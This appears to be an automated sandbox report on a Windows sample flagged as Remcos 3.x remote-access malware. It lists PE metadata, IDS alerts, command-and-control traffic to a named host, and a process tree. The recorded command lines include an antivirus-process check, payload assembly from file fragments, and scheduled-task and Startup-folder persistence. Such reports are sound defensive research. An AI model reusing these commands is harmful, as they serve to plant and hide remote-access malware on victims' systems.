.rdata	0x9000	0x2b6e	0x2c00	cca1ca3fbf99570f6de9b43ce767f368	False	0.3678977272727273	data	4.497932535153822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x72b9c	0x200	77f0839f8ebea31040e462523e1c770e	False	0.279296875	data	1.8049406284608531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x7f000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x100000	0x811a2	0x81200	b3e19c84c679cf55fd4be427d35ae5be	False	0.994193565464666	data	7.957883026281082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x182000	0xfd6	0x1000	3c9b5dd0e9f28bd31a752ba6553005b4	False	0.59814453125	data	5.586288821054992	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1001f0	0x7ae9d	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced	English	United States	0.999269047954824
RT_ICON	0x17b090	0x3525	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.000808526277104
RT_ICON	0x17e5b8	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.798006509357201
RT_DIALOG	0x180c20	0x100	data	English	United States	0.5234375
RT_DIALOG	0x180d20	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x180e3c	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x180e9c	0x30	data	English	United States	0.8958333333333334
RT_MANIFEST	0x180ecc	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T23:42:58.468620+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.5	49804	181.131.217.244	3021	TCP
2024-12-19T23:42:59.740248+0100	2032777	ET MALWARE Remcos 3.x Unencrypted Server Response	1	181.131.217.244	3021	192.168.2.5	49804	TCP
2024-12-19T23:43:01.524052+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49810	178.237.33.50	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 23:42:58.348459959 CET	49804	3021	192.168.2.5	181.131.217.244
Dec 19, 2024 23:42:58.468028069 CET	3021	49804	181.131.217.244	192.168.2.5
Dec 19, 2024 23:42:58.468172073 CET	49804	3021	192.168.2.5	181.131.217.244
Dec 19, 2024 23:42:58.468620062 CET	49804	3021	192.168.2.5	181.131.217.244
Dec 19, 2024 23:42:58.588115931 CET	3021	49804	181.131.217.244	192.168.2.5
Dec 19, 2024 23:42:59.740247965 CET	3021	49804	181.131.217.244	192.168.2.5
Dec 19, 2024 23:42:59.741446018 CET	49804	3021	192.168.2.5	181.131.217.244
Dec 19, 2024 23:42:59.861721992 CET	3021	49804	181.131.217.244	192.168.2.5
Dec 19, 2024 23:42:59.973498106 CET	3021	49804	181.131.217.244	192.168.2.5
Dec 19, 2024 23:43:00.027642012 CET	49804	3021	192.168.2.5	181.131.217.244
Dec 19, 2024 23:43:00.154680967 CET	49810	80	192.168.2.5	178.237.33.50
Dec 19, 2024 23:43:00.274243116 CET	80	49810	178.237.33.50	192.168.2.5
Dec 19, 2024 23:43:00.274375916 CET	49810	80	192.168.2.5	178.237.33.50
Dec 19, 2024 23:43:00.275007010 CET	49810	80	192.168.2.5	178.237.33.50
Dec 19, 2024 23:43:00.394495010 CET	80	49810	178.237.33.50	192.168.2.5
Dec 19, 2024 23:43:01.523915052 CET	80	49810	178.237.33.50	192.168.2.5
Dec 19, 2024 23:43:01.524051905 CET	49810	80	192.168.2.5	178.237.33.50
Dec 19, 2024 23:43:01.533869982 CET	49804	3021	192.168.2.5	181.131.217.244
Dec 19, 2024 23:43:01.653464079 CET	3021	49804	181.131.217.244	192.168.2.5
Dec 19, 2024 23:43:02.524173021 CET	80	49810	178.237.33.50	192.168.2.5
Dec 19, 2024 23:43:02.524245024 CET	49810	80	192.168.2.5	178.237.33.50
Dec 19, 2024 23:43:22.367640018 CET	3021	49804	181.131.217.244	192.168.2.5
Dec 19, 2024 23:43:22.368899107 CET	49804	3021	192.168.2.5	181.131.217.244
Dec 19, 2024 23:43:22.488332033 CET	3021	49804	181.131.217.244	192.168.2.5
Dec 19, 2024 23:43:52.405323982 CET	3021	49804	181.131.217.244	192.168.2.5
Dec 19, 2024 23:43:52.406918049 CET	49804	3021	192.168.2.5	181.131.217.244
Dec 19, 2024 23:43:52.526439905 CET	3021	49804	181.131.217.244	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 23:42:11.560640097 CET	55824	53	192.168.2.5	1.1.1.1
Dec 19, 2024 23:42:11.794698954 CET	53	55824	1.1.1.1	192.168.2.5
Dec 19, 2024 23:42:57.865504980 CET	61383	53	192.168.2.5	1.1.1.1
Dec 19, 2024 23:42:58.344794035 CET	53	61383	1.1.1.1	192.168.2.5
Dec 19, 2024 23:43:00.011619091 CET	53785	53	192.168.2.5	1.1.1.1
Dec 19, 2024 23:43:00.150248051 CET	53	53785	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 23:42:11.560640097 CET	192.168.2.5	1.1.1.1	0xb287	Standard query (0)	wnBHxhzUAWNxsjrpdZtUkwTu.wnBHxhzUAWNxsjrpdZtUkwTu	A (IP address)	IN (0x0001)	false
Dec 19, 2024 23:42:57.865504980 CET	192.168.2.5	1.1.1.1	0x8310	Standard query (0)	navegacionseguracol24vip.org	A (IP address)	IN (0x0001)	false
Dec 19, 2024 23:43:00.011619091 CET	192.168.2.5	1.1.1.1	0x6cfa	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 23:42:11.794698954 CET	1.1.1.1	192.168.2.5	0xb287	Name error (3)	wnBHxhzUAWNxsjrpdZtUkwTu.wnBHxhzUAWNxsjrpdZtUkwTu	none	none	A (IP address)	IN (0x0001)	false
Dec 19, 2024 23:42:58.344794035 CET	1.1.1.1	192.168.2.5	0x8310	No error (0)	navegacionseguracol24vip.org		181.131.217.244	A (IP address)	IN (0x0001)	false
Dec 19, 2024 23:43:00.150248051 CET	1.1.1.1	192.168.2.5	0x6cfa	No error (0)	geoplugin.net		178.237.33.50	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49810	178.237.33.50	80	6976	C:\Users\user\AppData\Local\Temp\638933\Beth.com

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 23:43:00.275007010 CET	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
Dec 19, 2024 23:43:01.523915052 CET	1171	IN	HTTP/1.1 200 OK date: Thu, 19 Dec 2024 22:43:01 GMT server: Apache content-length: 963 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 [TRUNCATED] Data Ascii: { "geoplugin_request":"8.46.123.189", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7503", "geoplugin_longitude":"-74.0014", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

Target ID:	0
Start time:	17:42:03
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\nikDoCvpJa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\nikDoCvpJa.exe"
Imagebase:	0x400000
File size:	1'798'791 bytes
MD5 hash:	D2729F574A3BA69A10C00A5992986226
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	17:42:04
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Cab Cab.cmd & Cab.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	17:42:04
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	17:42:07
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x970000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	17:42:07
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0xdf0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	17:42:07
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x970000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	17:42:07
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0xdf0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	17:42:09
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 638933
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	17:42:09
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "Chosen" Bugs
Imagebase:	0xdf0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	17:42:09
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Wichita + ..\Sign + ..\Idol + ..\Lauren + ..\Rice + ..\Bold + ..\Loops + ..\Shore + ..\Marie g
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	17:42:09
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\638933\Beth.com
Wow64 process (32bit):	true
Commandline:	Beth.com g
Imagebase:	0x7c0000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	false

Target ID:	12
Start time:	17:42:09
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0xab0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	13
Start time:	17:42:10
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c schtasks.exe /create /tn "Config" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js'" /sc minute /mo 5 /F
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	14
Start time:	17:42:10
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	15
Start time:	17:42:10
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks.exe /create /tn "Config" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js'" /sc minute /mo 5 /F
Imagebase:	0x1e0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	16
Start time:	17:42:10
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CyberScope.url" & echo URL="C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CyberScope.url" & exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	17
Start time:	17:42:10
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	18
Start time:	17:42:10
Start date:	19/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js"
Imagebase:	0x7ff62ce60000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	19
Start time:	17:42:10
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com" "C:\Users\user\AppData\Local\SecureScope Dynamics\r"
Imagebase:	0x190000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Target ID:	21
Start time:	17:42:20
Start date:	19/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js"
Imagebase:	0x7ff62ce60000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	22
Start time:	17:42:20
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com" "C:\Users\user\AppData\Local\SecureScope Dynamics\r"
Imagebase:	0x190000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true